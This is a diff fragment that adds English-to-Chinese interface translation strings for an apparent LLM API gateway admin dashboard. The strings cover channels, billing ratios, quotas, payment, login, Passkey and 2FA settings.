+    "Enter your redemption code": "输入您的兑换码",
+    "Enter your registered email and we will send you a link to reset your password.": "输入您注册的邮箱，我们将向您发送一个重置密码的链接。",
+    "Enter your username": "输入您的用户名",
+    "Enter your username or email": "输入您的用户名或电子邮件",
+    "Enterprise Account": "企业账户",
+    "Enterprise-grade security with comprehensive permission management": "企业级安全性，提供全面的权限管理",
+    "Entrypoint (space separated)": "入口点 (空格分隔)",
+    "Env (JSON object)": "环境变量 (JSON 对象)",
+    "Environment variables": "环境变量",
+    "Environment variables (JSON)": "环境变量 (JSON)",
+    "Epay endpoint": "Epay 端点",
+    "Epay Gateway": "Epay 网关",
+    "Epay merchant ID": "易支付商户 ID",
+    "Epay secret key": "Epay 密钥",
+    "Error": "错误",
+    "Error Message": "错误消息",
+    "Estimated cost": "预计成本",
+    "Estimated quota cost": "估算配额费用",
+    "Exact": "精确",
+    "Exact Match": "完全匹配",
+    "Example": "示例",
+    "Example (all channels):": "示例（全部频道）：",
+    "Example (specific channels):": "示例（指定频道）：",
+    "Example:": "示例：",
+    "example.com&#10;blocked-site.com": "example.com&#10;blocked-site.com",
+    "example.com&#10;company.com": "example.com&#10;company.com",
+    "Excellent": "优秀",
+    "Exchange rate is required": "汇率为必填项",
+    "Exchange rate must be greater than 0": "汇率必须大于 0",
+    "Exhausted": "已耗尽",
+    "Existing account will be reused": "将使用现有账户",
+    "Existing Models ({{count}})": "现有模型 ({{count}})",
+    "Exists": "存在",
+    "Expected a JSON array.": "应为 JSON 数组。",
+    "Experiment with prompts and models in real time.": "实时实验提示词和模型。",
+    "Expiration Time": "过期时间",
+    "expired": "已过期",
+    "Expired": "已过期",
+    "Expired at": "过期于",
+    "Expired time cannot be earlier than current time": "过期时间不能早于当前时间",
+    "Expires": "过期",
+    "Expose grouped Uptime Kuma status pages directly on the dashboard": "直接在仪表板上显示分组的 Uptime Kuma 状态页面",
+    "Expose ratio API": "暴露倍率接口",
+    "Exposes the pricing/models catalog in the top navigation.": "在顶部导航中显示定价/模型目录。",
+    "Expression billing": "表达式计费",
+    "Expression editor": "表达式编辑器",
+    "Expression error": "表达式错误",
+    "Extend": "延长",
+    "Extend deployment": "延长部署",
+    "Extend failed": "延长失败",
+    "Extended successfully": "延长成功",
+    "External Device": "外部设备",
+    "External link for users to purchase quota": "供用户购买配额的外部链接",
+    "External operations": "对外运营",
+    "External operations mode": "对外运营模式",
+    "External Speed Test": "外部速度测试",
+    "Extra": "额外",
+    "Extra Notes (Optional)": "额外备注（可选）",
+    "Fail Reason": "失败原因",
+    "Fail Reason Details": "失败原因详情",
+    "Failed": "失败",
+    "Failed to {{action}} user": "{{action}}用户失败",
+    "Failed to adjust quota": "调整额度失败",
+    "Failed to apply overwrite.": "应用覆盖失败。",
+    "Failed to bind email": "绑定邮箱失败",
+    "Failed to change password": "修改密码失败",
+    "Failed to check for updates": "检查更新失败",
+    "Failed to clean logs": "清理日志失败",
+    "Failed to complete order": "完成订单失败",
+    "Failed to complete Passkey login": "无法完成 Passkey 登录",
+    "Failed to contact GitHub releases API": "无法连接 GitHub Releases API",
+    "Failed to copy": "复制失败",
+    "Failed to copy channel": "复制渠道失败",
+    "Failed to copy keys": "复制密钥失败",
+    "Failed to copy model names": "复制模型名称失败",
+    "Failed to copy to clipboard": "复制到剪贴板失败",
+    "Failed to create API key": "创建API密钥失败",
+    "Failed to create channel": "创建渠道失败",
+    "Failed to create deployment": "创建部署失败",
+    "Failed to create provider": "创建提供商失败",
+    "Failed to create redemption code": "创建兑换码失败",
+    "Failed to create user": "创建用户失败",
+    "Failed to delete {{count}} model(s)": "删除 {{count}} 个模型失败",
+    "Failed to delete account": "删除账号失败",
+    "Failed to delete API key": "删除API密钥失败",
+    "Failed to delete API keys": "删除API密钥失败",
+    "Failed to delete channel": "删除渠道失败",
+    "Failed to delete disabled channels": "删除已禁用渠道失败",
+    "Failed to delete invalid redemption codes": "删除无效兑换码失败",
+    "Failed to delete model": "删除模型失败",
+    "Failed to delete provider": "删除提供商失败",
+    "Failed to delete redemption code": "删除兑换码失败",
+    "Failed to delete user": "删除用户失败",
+    "Failed to delete vendor": "删除供应商失败",
+    "Failed to disable {{count}} model(s)": "禁用 {{count}} 个模型失败",
+    "Failed to disable 2FA": "禁用 2FA 失败",
+    "Failed to disable channels": "禁用渠道失败",
+    "Failed to disable model": "禁用模型失败",
+    "Failed to disable tag channels": "禁用标签渠道失败",
+    "Failed to discover OIDC endpoints": "发现 OIDC 端点失败",
+    "Failed to enable {{count}} model(s)": "启用 {{count}} 个模型失败",
+    "Failed to enable 2FA": "启用 2FA 失败",
+    "Failed to enable channels": "启用渠道失败",
+    "Failed to enable model": "启用模型失败",
+    "Failed to enable tag channels": "启用标签渠道失败",
+    "Failed to fetch checkin status": "获取签到状态失败",
+    "Failed to fetch deployment details": "获取部署详情失败",
+    "Failed to fetch models": "获取模型失败",
+    "Failed to fetch OIDC configuration. Please check the URL and network status": "获取 OIDC 配置失败。请检查 URL 和网络状态",
+    "Failed to fetch upstream prices": "获取上游价格失败",
+    "Failed to fetch upstream ratios": "获取上游比率失败",
+    "Failed to fetch usage": "获取用量失败",
+    "Failed to fetch user information": "获取用户信息失败",
+    "Failed to fix abilities": "修复能力失败",
+    "Failed to generate token": "生成令牌失败",
+    "Failed to initialize OAuth": "初始化 OAuth 失败",
+    "Failed to initialize system": "系统初始化失败",
+    "Failed to load": "加载失败",
+    "Failed to load API keys": "加载 API 密钥失败",
+    "Failed to load billing history": "加载计费历史失败",
+    "Failed to load home page content": "加载首页内容失败",
+    "Failed to load image": "无法加载图像",
+    "Failed to load logs": "加载日志失败",
+    "Failed to load Passkey status": "加载 Passkey 状态失败",
+    "Failed to load profile": "加载个人资料失败",
+    "Failed to load redemption codes": "加载兑换码失败",
+    "Failed to load setup data": "无法加载设置数据",
+    "Failed to load setup status": "无法加载设置状态",
+    "Failed to load tag data": "加载标签数据失败",
+    "Failed to load users": "加载用户失败",
+    "Failed to parse group items": "解析组项目失败",
+    "Failed to parse JSON file: {{name}}": "解析 JSON 文件失败：{{name}}",
+    "Failed to query balance": "查询余额失败",
+    "Failed to refresh cache stats": "刷新缓存统计失败",
+    "Failed to regenerate backup codes": "重新生成备份代码失败",
+    "Failed to register Passkey": "注册 Passkey 失败",
+    "Failed to remove Passkey": "移除 Passkey 失败",
+    "Failed to reset 2FA": "重置 2FA 失败",
+    "Failed to reset model ratios": "重置模型比率失败",
+    "Failed to reset Passkey": "重置 Passkey 失败",
+    "Failed to save": "保存失败",
+    "Failed to save announcements": "保存公告失败",
+    "Failed to save API info": "保存 API 信息失败",
+    "Failed to save FAQ": "保存 FAQ 失败",
+    "Failed to save Uptime Kuma groups": "保存 Uptime Kuma 组失败",
+    "Failed to search API keys": "搜索 API 密钥失败",
+    "Failed to search redemption codes": "搜索兑换码失败",
+    "Failed to search users": "搜索用户失败",
+    "Failed to send verification code": "发送验证码失败",
+    "Failed to set tag": "设置标签失败",
+    "Failed to setup 2FA": "设置 2FA 失败",
+    "Failed to start {{provider}} login": "启动 {{provider}} 登录失败",
+    "Failed to start Discord login": "启动 Discord 登录失败",
+    "Failed to start GitHub login": "启动 GitHub 登录失败",
+    "Failed to start LinuxDO login": "启动 LinuxDO 登录失败",
+    "Failed to start OIDC login": "启动 OIDC 登录失败",
+    "Failed to start Passkey login": "无法启动 Passkey 登录",
+    "Failed to start Passkey registration": "启动 Passkey 注册失败",
+    "Failed to start testing all channels": "无法开始测试所有渠道",
+    "Failed to sync prices": "同步价格失败",
+    "Failed to sync ratios": "同步比率失败",
+    "Failed to test all channels": "无法测试所有渠道",
+    "Failed to test channel": "测试通道失败",
+    "Failed to update all balances": "无法更新所有余额",
+    "Failed to update API key": "更新 API 密钥失败",
+    "Failed to update API key status": "更新 API 密钥状态失败",
+    "Failed to update balance": "无法更新余额",
+    "Failed to update channel": "更新通道失败",
+    "Failed to update models": "更新模型失败",
+    "Failed to update profile": "无法更新个人资料",
+    "Failed to update provider": "更新提供商失败",
+    "Failed to update redemption code": "更新兑换码失败",
+    "Failed to update redemption code status": "更新兑换码状态失败",
+    "Failed to update setting": "更新设置失败",
+    "Failed to update settings": "无法更新设置",
+    "Failed to update tag": "更新标签失败",
+    "Failed to update user": "更新用户失败",
+    "Failure keywords": "失败关键词",
+    "Fair": "公平",
+    "FAQ": "常见问答",
+    "FAQ added. Click \"Save Settings\" to apply.": "FAQ 已添加。点击 \"保存设置\" 以应用。",
+    "FAQ deleted. Click \"Save Settings\" to apply.": "FAQ 已删除。点击 \"保存设置\" 以应用。",
+    "FAQ saved successfully": "FAQ 保存成功",
+    "FAQ updated. Click \"Save Settings\" to apply.": "FAQ 已更新。点击 \"保存设置\" 以应用。",
+    "FastGPT": "FastGPT",
+    "Feature in development": "功能开发中",
+    "Fee": "扣费",
+    "Fee Amount": "扣费金额",
+    "Fetch available models for:": "获取可用模型：",
+    "Fetch from Upstream": "从上游获取",
+    "Fetch Models": "获取模型",
+    "Fetched {{count}} model(s) from upstream": "从上游获取了 {{count}} 个模型",
+    "Fetched {{count}} models": "已获取 {{count}} 个模型",
+    "Fetching prefill groups...": "正在获取预填充分组...",
+    "Fetching upstream prices...": "正在获取上游价格...",
+    "Fetching upstream ratios...": "正在获取上游比例...",
+    "field": "字段",
+    "Field Mapping": "字段映射",
+    "Field passthrough controls": "字段透传控制",
+    "File Search": "文件搜索",
+    "Files to Retain": "保留文件数",
+    "Fill All Models": "填充所有模型",
+    "Fill Codex CLI / Claude CLI Templates": "填充 Codex CLI / Claude CLI 模板",
+    "Fill example (all channels)": "填充示例（全部频道）",
+    "Fill example (specific channels)": "填充示例（指定频道）",
+    "Fill in the following info to create a new subscription plan": "填写以下信息创建新的订阅套餐",
+    "Fill Related Models": "填入相关模型",
+    "Fill Template": "填入模板",
+    "Fill Templates": "填充模板",
+    "Fill thoughtSignature only for Gemini/Vertex channels using the OpenAI format": "仅为使用 OpenAI 格式的 Gemini/Vertex 渠道填充 thoughtSignature",
+    "Filled {{count}} model(s)": "已填充 {{count}} 个模型",
+    "Filled {{count}} related model(s)": "已填充 {{count}} 个关联模型",
+    "Filter": "筛选",
+    "Filter by channel ID": "按通道 ID 筛选",
+    "Filter by group": "按分组筛选",
+    "Filter by Midjourney task ID": "按 Midjourney 任务 ID 筛选",
+    "Filter by model name...": "按模型名称筛选...",
+    "Filter by model...": "按模型筛选...",
+    "Filter by name or ID...": "按名称或 ID 筛选...",
+    "Filter by name or key...": "按名称或密钥筛选...",
+    "Filter by name, ID, or key...": "按名称、ID 或密钥筛选...",
+    "Filter by price field": "按价格字段筛选",
+    "Filter by ratio type": "按倍率类型筛选",
+    "Filter by request ID": "按请求 ID 筛选",
+    "Filter by task ID": "按任务 ID 筛选",
+    "Filter by token name": "按 Token 名称筛选",
+    "Filter by username": "按用户名筛选",
+    "Filter by username, name or email...": "按用户名、姓名或邮箱筛选...",
+    "Filter Dashboard Models": "筛选仪表板模型",
+    "Filter models by type, endpoint, vendor, group and tags": "按类型、端点、供应商、分组和标签筛选模型",
+    "Filter models...": "筛选模型...",
+    "Filter...": "筛选...",
+    "Filters": "筛选器",
+    "Final Consumed": "最终消耗",
+    "Final cost = base × multiplier when conditions match": "匹配条件时，最终费用 = 基础费用 × 倍率",
+    "Final price multiplier (0.95 = 5% discount": "最终价格乘数 (0.95 = 5% 折扣",
+    "Fine-tune Midjourney integration and guardrails.": "微调 Midjourney 集成和防护栏。",
+    "Finish Time": "完成时间",
+    "First/Last Frame to Video": "首尾生视频",
+    "Fix Abilities": "修复能力",
+    "Fixed abilities: {{success}} succeeded, {{fails}} failed": "修复能力：{{success}} 个成功，{{fails}} 个失败",
+    "Fixed price": "固定价格",
+    "Fixed price (USD)": "固定价格 (USD)",
+    "FluentRead extension not detected. Please ensure it is installed and active.": "未检测到 FluentRead 扩展。请确保已安装并激活。",
+    "Follow the guided steps to prepare your workspace before the first login.": "请按照引导步骤在首次登录前准备您的工作区。",
+    "Footer": "页脚",
+    "Footer text displayed at the bottom of pages": "显示在页面底部的页脚文本",
+    "footer.columns.about.links.aboutProject": "关于项目",
+    "footer.columns.about.links.contact": "联系我们",
+    "footer.columns.about.links.features": "功能",
+    "footer.columns.about.title": "关于我们",
+    "footer.columns.docs.links.apiDocs": "API 文档",
+    "footer.columns.docs.links.installation": "安装指南",
+    "footer.columns.docs.links.quickStart": "快速入门",
+    "footer.columns.docs.title": "文档",
+    "footer.columns.related.links.midjourney": "Midjourney-Proxy",
+    "footer.columns.related.links.neko": "neko-api-key-tool",
+    "footer.columns.related.links.oneApi": "One API",
+    "footer.columns.related.title": "相关项目",
+    "footer.defaultCopyright": "版权所有。",
+    "For channels added after May 10, 2025, no need to remove \".\" from model names during deployment": "对于 2025 年 5 月 10 日之后添加的渠道，在部署时无需从模型名称中移除 \".\"",
+    "For private deployments, format: https://fastgpt.run/api/openapi": "对于私有部署，格式为：https://fastgpt.run/api/openapi",
+    "Force AUTH LOGIN": "强制 AUTH LOGIN",
+    "Force Format": "强制格式化",
+    "Force format response to OpenAI standard (OpenAI channel only)": "强制将响应格式化为 OpenAI 标准（仅限 OpenAI 渠道）",
+    "Force SMTP authentication using AUTH LOGIN method": "强制使用 AUTH LOGIN 方法进行 SMTP 认证",
+    "Forgot password": "忘记密码",
+    "Forgot password?": "忘记密码？",
+    "Form reset to saved values": "表单已重置为保存的值",
+    "Format": "格式",
+    "Format JSON": "格式化 JSON",
+    "Format:": "格式：",
+    "Format: Access Key ID|Secret Access Key": "格式：Access Key ID|Secret Access Key",
+    "Format: AccessKey|SecretKey (or just ApiKey if upstream is New API)": "格式：AccessKey|SecretKey（如果上游是 New API，则只需 ApiKey）",
+    "Format: Ak|Sk|Region": "格式：Ak|Sk|Region",
+    "Format: APIKey-AppId, e.g., fastgpt-0sp2gtvfdgyi4k30jwlgwf1i-64f335d84283f05518e9e041": "格式：APIKey-AppId，例如：fastgpt-0sp2gtvfdgyi4k30jwlgwf1i-64f335d84283f05518e9e041",
+    "Format: APIKey|SecretKey": "格式：APIKey|SecretKey",
+    "Format: APPID|APISecret|APIKey": "格式：APPID|APISecret|APIKey",
+    "Format: AppId|SecretId|SecretKey": "格式：AppId|SecretId|SecretKey",
+    "Forward requests directly to upstream providers without any post-processing.": "将请求直接转发给上游提供商，不进行任何后处理。",
+    "Free: {{free}} / Total: {{total}}": "可用空间: {{free}} / 总空间: {{total}}",
+    "Friendly name to identify this channel": "用于识别此渠道的友好名称",
+    "From Address": "发件地址",
+    "From IO.NET deployment": "来自 IO.NET 部署",
+    "From model redirect, not yet added to models list": "来自模型重定向，尚未加入模型列表",
+    "Frontend Theme": "前端主题",
+    "Full API Key": "完整 API 密钥",
+    "Full Base URL (supports": "完整基础 URL (支持",
+    "Full Code": "完整代码",
+    "Functions": "函数",
+    "GC Count": "GC 次数",
+    "GC executed": "GC 已执行",
+    "GC execution failed": "GC 执行失败",
+    "Gemini": "Gemini",
+    "Gemini will continue to auto-detect thinking mode even with the adapter disabled. Enable this only when you need finer control over pricing and budgeting.": "即使禁用适配器，Gemini 也会继续自动检测思维模式。仅当您需要对定价和预算进行更精细的控制时才启用此选项。",
+    "General": "常规",
+    "General Settings": "通用设置",
+    "Generate a Codex OAuth credential and paste it into the channel key field.": "生成 Codex OAuth 凭据并粘贴到频道密钥字段。",
+    "Generate and manage your API access token": "生成和管理您的 API 访问令牌",
+    "Generate credential": "生成凭据",
+    "Generate Lyrics": "生成歌词",
+    "Generate Music": "生成音乐",
+    "Generate new backup codes for account recovery": "生成新的备份代码用于账户恢复",
+    "Generate New Codes": "生成新代码",
+    "Generated image": "生成的图像",
+    "Generating new codes will invalidate all existing backup codes.": "生成新代码将使所有现有备份代码失效。",
+    "Generating...": "生成中...",
+    "Generic cache": "通用缓存",
+    "Get notified when balance falls below this value": "当余额低于此值时接收通知",
+    "Get Started": "开始使用",
+    "GitHub": "GitHub",
+    "Give the group a recognizable name and optional description.": "为该分组提供一个可识别的名称和可选的描述。",
+    "Give this group a recognizable name.": "为此分组提供一个可识别的名称。",
+    "Global configuration and administrative tools.": "全局配置和管理工具。",
+    "Global Coverage": "全球覆盖",
+    "Global Model Configuration": "全局模型配置",
+    "Go Back": "返回",
+    "Go back and edit": "返回修改",
+    "Go to Dashboard": "前往仪表板",
+    "Go to first page": "前往首页",
+    "Go to io.net API Keys": "前往 io.net API 密钥",
+    "Go to last page": "前往末页",
+    "Go to next page": "前往下一页",
+    "Go to previous page": "前往上一页",
+    "Go to settings": "前往设置",
+    "Go to Settings": "前往设置",
+    "Good": "良好",
+    "Gotify Application Token": "Gotify 应用令牌",
+    "Gotify Documentation": "Gotify 文档",
+    "Gotify Server URL": "Gotify 服务器 URL",
+    "gpt-3.5-turbo": "gpt-3.5-turbo",
+    "gpt-3.5-turbo-0125": "gpt-3.5-turbo-0125",
+    "gpt-4": "gpt-4",
+    "gpt-4, claude-3-opus, etc.": "gpt-4, claude-3-opus, 等",
+    "GPU count": "GPU 数量",
+    "Grok": "Grok",
+    "Grok Settings": "Grok 设置",
+    "Group": "分组",
+    "Group & Quota": "分组与配额",
+    "Group added. Click \"Save Settings\" to apply.": "组已添加。点击 \"保存设置\" 以应用。",
+    "Group channels by tag for batch operations": "按标签对渠道进行分组以进行批量操作",
+    "Group config overrides global limits, shares the same period": "分组配置覆盖全局限制，共享同一周期",
+    "Group deleted. Click \"Save Settings\" to apply.": "组已删除。点击 \"保存设置\" 以应用。",
+    "Group details": "分组详情",
+    "Group identifier": "分组标识符",
+    "Group is required": "组是必需的",
+    "Group name": "分组名称",
+    "Group Name": "分组名称",
+    "Group name cannot be changed when editing.": "编辑时无法更改组名称。",
+    "group ratio": "分组倍率",
+    "Group Ratio": "分组倍率",
+    "Group ratios": "分组比例",
+    "Group updated. Click \"Save Settings\" to apply.": "组已更新。点击 \"保存设置\" 以应用。",
+    "Group-based rate limits": "基于分组的速率限制",
+    "Group:": "分组：",
+    "Group: {{ratio}}x": "分组：{{ratio}}x",
+    "Groups": "分组",
+    "Groups *": "分组 *",
+    "Groups that users can select when creating API keys.": "用户在创建 API 密钥时可以选择的分组。",
+    "Guardrails": "安全护栏",
+    "Guest": "访客",
+    "h": "小时",
+    "Haiku Model": "Haiku 模型",
+    "Hang tight while we finish connecting your account.": "请稍等，我们正在完成连接您的账户。",
+    "Hang tight while we securely link this account to your profile.": "请稍等，我们正在安全地将此账户链接到您的个人资料。",
+    "Hardware": "硬件",
+    "Hardware type": "硬件类型",
+    "Has been disabled": "已禁用",
+    "Has been enabled": "已启用",
+    "Has been invalidated": "已作废",
+    "Have a Code?": "有兑换码吗？",
+    "Header": "请求头",
+    "Header navigation": "顶部导航",
+    "Header Override": "标头覆盖",
+    "Hidden — verify to reveal": "隐藏 — 验证以显示",
+    "Hide": "隐藏",
+    "Hide API key": "隐藏 API 密钥",
+    "High Performance": "高性能",
+    "High-risk operation confirmation": "高危操作确认",
+    "High-risk status code retry confirmation text": "我确认",
+    "High-risk status code retry input mismatch": "输入的文本不匹配，请重试。",
+    "High-risk status code retry input placeholder": "请输入上方确认文本",
+    "High-risk status code retry risk check 1": "我了解在这些状态码上重试可能导致上游供应商正常扣费，且该费用无法追回。",
+    "High-risk status code retry risk check 2": "我了解这些状态码通常表示请求已被上游供应商成功处理，重试可能导致重复计费。",
+    "High-risk status code retry risk check 3": "我承认这些配置可能导致重大经济损失，并接受所有相关风险。",
+    "High-risk status code retry risk check 4": "我已仔细核查以上状态码重定向规则，并确认配置正确。",
+    "High-risk status code retry risk disclaimer": "以下状态码重定向规则包含高风险配置。在这些状态码上重试可能导致上游正常扣费且无法追回。请仔细核实这些配置。",
+    "Higher priority channels are selected first": "优先级更高的渠道优先被选中",
+    "Historical Usage": "历史使用情况",
+    "History of Midjourney-style image tasks.": "Midjourney 风格图像任务历史。",
+    "Hit criteria: If cached tokens exist in usage, it counts as a hit.": "命中判定：usage 中存在 cached tokens 即视为命中。",
+    "Hit Rate": "命中率",
+    "Hit tier": "命中档位",
+    "Home": "主页",
+    "Home Page Content": "首页内容",
+    "Hostname or IP of your SMTP provider": "您的 SMTP 提供商的主机名或 IP",
+    "Hour": "小时",
+    "hours": "小时",
+    "How client credentials are sent to the token endpoint": "客户端凭据如何发送至令牌端点",
+    "How frequently the system tests all channels": "系统测试所有渠道的频率",
+    "How It Works": "工作流程",
+    "How model mapping works": "模型映射的工作原理",
+    "How much to charge for each US dollar of balance (Epay)": "每美元余额（Epay）的收费金额",
+    "How this model name should match requests": "此模型名称应如何匹配请求",
+    "How to get an io.net API Key": "如何获取 io.net API 密钥",
+    "How to reset my quota?": "如何重置我的配额？",
+    "How to select keys: random or sequential polling": "密钥选择方式：随机或顺序轮询",
+    "How will you use the platform?": "您将如何使用本平台？",
+    "https://api.day.app/yourkey/{{title}}/{{content}}": "https://api.day.app/yourkey/{{title}}/{{content}}",
+    "https://api.example.com": "https://api.example.com",
+    "https://ark.ap-southeast.bytepluses.com": "https://ark.ap-southeast.bytepluses.com",
+    "https://ark.cn-beijing.volces.com": "https://ark.cn-beijing.volces.com",
+    "https://cloud.siliconflow.cn/i/hij0YNTZ": "https://cloud.siliconflow.cn/i/hij0YNTZ",
+    "https://docs.example.com": "https://docs.example.com",
+    "https://example.com": "https://example.com",
+    "https://example.com/logo.png": "https://example.com/logo.png",
+    "https://example.com/qr-code.png": "https://example.com/qr-code.png",
+    "https://example.com/topup": "https://example.com/topup",
+    "https://example.com/webhook": "https://example.com/webhook",
+    "https://gateway.example.com": "https://gateway.example.com",
+    "https://github.com/QuantumNous/new-api": "https://github.com/QuantumNous/new-api",
+    "https://gotify.example.com": "https://gotify.example.com",
+    "https://pay.example.com": "https://pay.example.com",
+    "https://provider.com/.well-known/openid-configuration": "https://provider.com/.well-known/openid-configuration",
+    "https://status.example.com": "https://status.example.com",
+    "https://wechat-server.example.com": "https://wechat-server.example.com",
+    "https://worker.example.workers.dev": "https://worker.example.workers.dev",
+    "https://your-server.example.com": "https://your-server.example.com",
+    "Human-readable name shown to users during Passkey prompts.": "在 Passkey 提示期间向用户显示的人类可读名称。",
+    "I confirm enabling high-risk retry": "我确认开启高危重试",
+    "I have read and agree to the": "我已阅读并同意",
+    "I understand that disabling 2FA will remove all protection and backup codes": "我理解禁用 2FA 将移除所有保护和备份代码",
+    "Icon": "图标",
+    "Icon file must be 100 KB or smaller": "图标文件必须小于等于 100 KB",
+    "Icon identifier (e.g. github, gitlab)": "图标标识符（例如 github、gitlab）",
+    "ID": "ID",
+    "If an upstream error contains any of these keywords (case insensitive), the channel will be disabled automatically.": "如果上游错误包含以下任何关键字（不区分大小写），渠道将自动禁用。",
+    "If authorization succeeds, the generated JSON will be inserted into the key field. You still need to save the channel to persist it.": "授权成功后，生成的 JSON 将插入密钥字段。您仍需保存频道以持久化。",
+    "If connecting to upstream One API or New API relay projects, use OpenAI type instead unless you know what you are doing": "如果连接上游 One API 或 New API 中继项目，除非您知道自己在做什么，否则请使用 OpenAI 类型",
+    "If the affinity channel fails and retry succeeds on another channel, update affinity to the successful channel.": "如果亲和到的渠道失败，重试到其他渠道成功后，将亲和更新到成功的渠道。",
+    "Image": "图片",
+    "Image Generation": "图片生成",
+    "Image In": "图像输入",
+    "Image input": "图片输入",
+    "Image Out": "图像输出",
+    "Image Preview": "图片预览",
+    "Image ratio": "图片倍率",
+    "Image to Video": "图生视频",
+    "Image Tokens": "图像 Token",
+    "Import to CC Switch": "填入 CC Switch",
+    "In Progress": "进行中",
+    "In:": "入：",
+    "Include Group": "包含分组",
+    "Include Model": "包含模型",
+    "Include Rule Name": "包含规则名",
+    "Including failed requests, 0 = unlimited": "包括失败的请求，0 = 无限制",
+    "Index": "索引",
+    "Initial quota given to new users": "授予新用户的初始配额",
+    "Initialization failed, please try again.": "初始化失败，请重试。",
+    "Initialize": "初始化",
+    "Initialize system": "初始化系统",
+    "Initializing…": "正在初始化…",
+    "Inpaint": "局部重绘",
+    "Input": "输入",
+    "Input mode": "输入模式",
+    "Input price": "输入价格",
+    "Input tokens": "输入 token",
+    "Input Tokens": "输入 Token",
+    "Inspect user prompts": "检查用户提示",
+    "Instance": "实例",
+    "Integrations": "集成",
+    "Inter-group overrides": "分组间覆盖",
+    "Inter-group ratio overrides": "分组间比例覆盖",
+    "Internal notes (not shown to users)": "内部备注（不显示给用户）",
+    "Internal Server Error!": "内部服务器错误！",
+    "Invalid chat link. Please contact the administrator.": "无效的聊天链接。请联系管理员。",
+    "Invalid chat link. Please contact your administrator.": "无效的聊天链接。请联系您的管理员。",
+    "Invalid code": "无效代码",
+    "Invalid JSON": "JSON 无效",
+    "Invalid JSON format": "无效的 JSON 格式",
+    "Invalid JSON format or values out of allowed range": "无效的 JSON 格式或值超出允许范围",
+    "Invalid JSON in parameter override template": "参数覆盖模板中的 JSON 格式无效",
+    "Invalid JSON string.": "无效的 JSON 字符串。",
+    "Invalid model mapping format": "无效的模型映射格式",
+    "Invalid Passkey registration response": "无效的 Passkey 注册响应",
+    "Invalid Passkey response": "无效的 Passkey 响应",
+    "Invalid payment redirect URL": "无效的支付跳转链接",
+    "Invalid reset link, please request a new password reset": "无效的重置链接，请请求新的密码重置",
+    "Invalid reset link, please request a new password reset.": "无效的重置链接，请请求新的密码重置。",
+    "Invalid rules JSON format": "规则 JSON 格式不正确",
+    "Invalid status code mapping entries: {{entries}}": "无效的状态码映射条目：{{entries}}",
+    "Invalidate": "作废",
+    "Invalidated": "已作废",
+    "Invitation Code": "邀请码",
+    "Invitation Quota": "邀请额度",
+    "Invite Info": "邀请信息",
+    "Invited": "已邀请",
+    "Invited by user ID": "由用户 ID 邀请",
+    "Invited Users": "受邀用户",
+    "Invitee Reward": "受邀者奖励",
+    "Inviter": "邀请人",
+    "Inviter Reward": "邀请者奖励",
+    "Invites": "邀请",
+    "io.net API Key": "io.net API 密钥",
+    "io.net Deployments": "io.net 部署",
+    "IP": "IP",
+    "IP Address": "IP 地址",
+    "IP Filter Mode": "IP 过滤模式",
+    "IP Restriction": "IP 限制",
+    "IP Whitelist (supports CIDR)": "IP 白名单（支持 CIDR 表达式）",
+    "is less than the configured maximum cache size": "小于配置的最大缓存大小",
+    "is the default price; ": "为默认价格；",
+    "It seems like the page you're looking for": "您要查找的页面似乎",
+    "Items": "条目",
+    "Japanese": "日语",
+    "Jimeng": "Jimeng",
+    "Jina": "Jina",
+    "JSON": "JSON",
+    "JSON array of group identifiers. When enabled below, new tokens rotate through this list.": "分组标识符的 JSON 数组。在下方启用时，新令牌将在此列表中轮换。",
+    "JSON Editor": "JSON 编辑",
+    "JSON format supports service account JSON files": "JSON 格式支持服务账户 JSON 文件",
+    "JSON map of group → description exposed when users create API keys.": "分组 → 描述的 JSON 映射，在用户创建 API 密钥时公开。",
+    "JSON map of group → ratio applied when the user selects the group explicitly.": "分组 → 比率的 JSON 映射，当用户明确选择该分组时应用此比率。",
+    "JSON map of model → multiplier applied to quota billing.": "模型 → 应用于配额计费的乘数的 JSON 映射。",
+    "JSON map of model → USD cost per request. Takes precedence over ratio based billing.": "模型 → 每请求美元成本的 JSON 映射。优先于基于比率的计费。",
+    "JSON Mode": "JSON 模式",
+    "JSON must be an object": "JSON 必须是对象",
+    "JSON object:": "JSON 对象：",
+    "JSON-based access control rules. Leave empty to allow all users.": "基于 JSON 的访问控制规则。留空以允许所有用户。",
+    "Just now": "刚刚",
+    "JustSong": "JustSong",
+    "K": "K",
+    "Keep enabled if you need to proxy requests for different upstream accounts.": "如果需要为不同上游账户代理请求，请保持启用。",
+    "Keep this above 1 minute to avoid heavy database load": "保持此值大于 1 分钟以避免数据库负载过重",
+    "Keep-alive Ping": "保持连接心跳",
+    "Key": "密钥",
+    "Key Fingerprint": "Key 指纹",
+    "Key Sources": "Key 来源",
+    "Key Summary": "Key 摘要",
+    "Key Update Mode": "密钥更新模式",
+    "Kling": "Kling",
+    "Knowledge Base ID *": "知识库 ID *",
+    "Landing page with system overview.": "带有系统概览的登陆页面。",
+    "Last Login": "最后登录",
+    "Last Seen": "最近一次",
+    "Last Tested": "上次测试时间",
+    "Last updated:": "上次更新时间：",
+    "Last Used": "最后使用时间",
+    "Last used:": "上次使用时间：",
+    "Layout": "布局",
+    "Learn more": "了解更多",
+    "Learn more:": "了解更多：",
+    "Leave": "离开",
+    "Leave blank to keep the existing credential": "留空以保留现有凭证",
+    "Leave blank to keep the existing key": "留空以保留现有密钥",
+    "Leave blank unless rotating the secret": "除非正在轮换密钥，否则留空",
+    "Leave empty for never expires": "留空表示永不失效",
+    "Leave empty to disable the agreement requirement. Supports Markdown, HTML, or a full URL to redirect users.": "留空以禁用协议要求。支持 Markdown、HTML 或用于重定向用户的完整 URL。",
+    "Leave empty to disable the privacy policy requirement. Supports Markdown, HTML, or a full URL to redirect users.": "留空以禁用隐私政策要求。支持 Markdown、HTML 或用于重定向用户的完整 URL。",
+    "Leave empty to disband the tag": "留空以解散标签",
+    "Leave empty to keep existing key": "留空以保留现有密钥",
+    "Leave empty to keep unchanged": "留空以保持不变",
+    "Leave empty to use account email": "留空以使用账户邮箱",
+    "Leave empty to use default": "留空使用默认",
+    "Leave empty to use system temp directory": "留空使用系统临时目录",
+    "Leave empty to use username": "留空以使用用户名",
+    "Less": "更少",
+    "Light": "浅色",
+    "Lightning Fast": "极速",
+    "Limit period": "限制周期",
+    "Limit Reached": "已达上限",
+    "Limit which models can be used with this key": "限制此密钥可使用的模型",
+    "Limited": "受限",
+    "LingYiWanWu": "LingYiWanWu",
+    "Link to your documentation site": "您的文档站点链接",
+    "LinuxDO": "LinuxDO",
+    "LinuxDO Client ID": "LinuxDO 客户端 ID",
+    "LinuxDO Client Secret": "LinuxDO 客户端密钥",
